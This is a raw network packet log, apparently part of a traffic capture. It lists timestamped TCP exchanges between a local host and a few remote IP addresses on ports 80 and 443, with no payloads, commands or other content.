Dec 7, 2024 00:15:46.756702900 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.757961988 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.758009911 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.758054018 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.758096933 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.759332895 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.759447098 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.759496927 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.760678053 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.760739088 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.760792971 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.760831118 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.762201071 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.762273073 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.762276888 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.762314081 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.763437033 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.763493061 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.763530970 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.763571024 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.764780045 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.764827013 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.764868975 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.764913082 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.766108036 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.766160011 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.766238928 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.766392946 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.767462969 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.767509937 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.767560959 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.767617941 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.768788099 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.768841028 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.768929005 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.769062996 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.770114899 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.770170927 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.770255089 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.770411968 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.771437883 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.771491051 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.771537066 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.771636009 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.772743940 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.772792101 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.772864103 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.772916079 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.774029970 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.774085045 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.774147034 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.774193048 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.775356054 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.775409937 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.775441885 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.775492907 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.776622057 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.776665926 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.776714087 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.776793003 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.777909040 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.777955055 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.778038979 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.778078079 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.779187918 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.779232979 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.779299021 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.779355049 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.780466080 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.780522108 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.780539989 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.780582905 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.781749964 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.781802893 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.781908035 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.781955004 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.783051968 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.783104897 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.783122063 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.783159971 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.784301996 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.784351110 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.784416914 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.784457922 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.785577059 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.785623074 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.785682917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.785717010 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.786883116 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.786967039 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.787013054 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.788176060 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.788233042 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.788254023 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.788288116 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.789175034 CET	443	49826	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:46.789236069 CET	443	49826	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:46.789366007 CET	49826	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:46.789452076 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.789493084 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.789541960 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.789544106 CET	49826	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:46.789558887 CET	443	49826	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:46.789575100 CET	49826	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:46.789577961 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.789580107 CET	443	49826	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:46.790755033 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.790797949 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.790904999 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.790950060 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.792013884 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.792074919 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.792124033 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.792165995 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.792978048 CET	49836	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:46.793013096 CET	443	49836	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:46.793271065 CET	49836	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:46.793297052 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.793335915 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.793399096 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.793421030 CET	49836	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:46.793426991 CET	443	49836	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:46.793471098 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.794754982 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.794768095 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.794816017 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.795551062 CET	443	49827	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:46.795622110 CET	443	49827	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:46.795691013 CET	49827	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:46.795813084 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.795815945 CET	49827	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:46.795830965 CET	443	49827	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:46.795840025 CET	49827	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:46.795845032 CET	443	49827	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:46.795859098 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.795943022 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.796087027 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.797122955 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.797185898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.797214985 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.797255039 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.798222065 CET	49837	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:46.798254967 CET	443	49837	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:46.798358917 CET	49837	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:46.798382998 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.798423052 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.798530102 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.798532009 CET	49837	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:46.798546076 CET	443	49837	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:46.798592091 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.799655914 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.799701929 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.799767017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.799817085 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.800936937 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.800991058 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.801029921 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.801070929 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.802261114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.802324057 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.802370071 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.802412987 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.803531885 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.803586960 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.803715944 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.803786993 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.804786921 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.804840088 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.804907084 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.805036068 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.806044102 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.806102991 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.828205109 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:46.828224897 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:46.828314066 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:46.828325033 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:46.828368902 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:46.830360889 CET	443	49829	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:46.830424070 CET	443	49829	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:46.830619097 CET	49829	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:46.830687046 CET	49829	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:46.830701113 CET	443	49829	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:46.830712080 CET	49829	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:46.830717087 CET	443	49829	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:46.833421946 CET	49838	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:46.833472013 CET	443	49838	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:46.833544970 CET	49838	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:46.833688974 CET	49838	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:46.833705902 CET	443	49838	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:46.873358011 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:46.873375893 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:46.873441935 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:46.873451948 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:46.873485088 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:46.927330017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.927406073 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.927408934 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.927444935 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.927839041 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.927901030 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.927936077 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.927977085 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.928843021 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.928915977 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.928991079 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.929044008 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.929847956 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.929907084 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.929945946 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.930043936 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.930847883 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.930906057 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.930932045 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.931003094 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.931828022 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.931895018 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.931895971 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.931955099 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.932800055 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.932852983 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.932887077 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.933043957 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.933790922 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.933846951 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.933955908 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.933995008 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.934782028 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.934843063 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.934880018 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.934922934 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.935751915 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.935811996 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.935848951 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.935894012 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.936777115 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.936829090 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.936903000 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.936950922 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.937848091 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.937979937 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.938045979 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.938103914 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.938754082 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.938802958 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.938858986 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.938913107 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.939739943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.939786911 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.939874887 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.939932108 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.940752983 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.940818071 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.940850973 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.940900087 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.941725969 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.941859007 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.941899061 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.941942930 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.942732096 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.942785978 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.942841053 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.942888021 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.943728924 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.943828106 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.943875074 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.944744110 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.944808006 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.944823980 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.944864035 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.945723057 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.945770979 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.945805073 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.945936918 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.946705103 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.946805000 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.946811914 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.946852922 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.947705030 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.947751999 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.947858095 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.948051929 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.948718071 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.948808908 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.948822975 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.948869944 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.949692011 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.949745893 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.949776888 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.949815035 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.950686932 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.950735092 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.950789928 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.950839996 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.951653957 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.951723099 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.951756001 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.951833010 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.952652931 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.952707052 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.952752113 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.952790976 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.953655958 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.953711987 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.953773022 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.953815937 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.954652071 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.954710007 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.954754114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.954796076 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.955661058 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.955719948 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.955763102 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.955845118 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.956801891 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.956851959 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.956886053 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.957014084 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.958133936 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.958148003 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.958209038 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.958652973 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.958720922 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.958743095 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.958791971 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.959642887 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.959711075 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.959750891 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.959794998 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.960611105 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.960663080 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.960719109 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.960830927 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.961648941 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.961697102 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.961726904 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.961766005 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.962656021 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.962713957 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.962760925 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.962805986 CET	49823	80	192.168.2.6	185.215.113.206
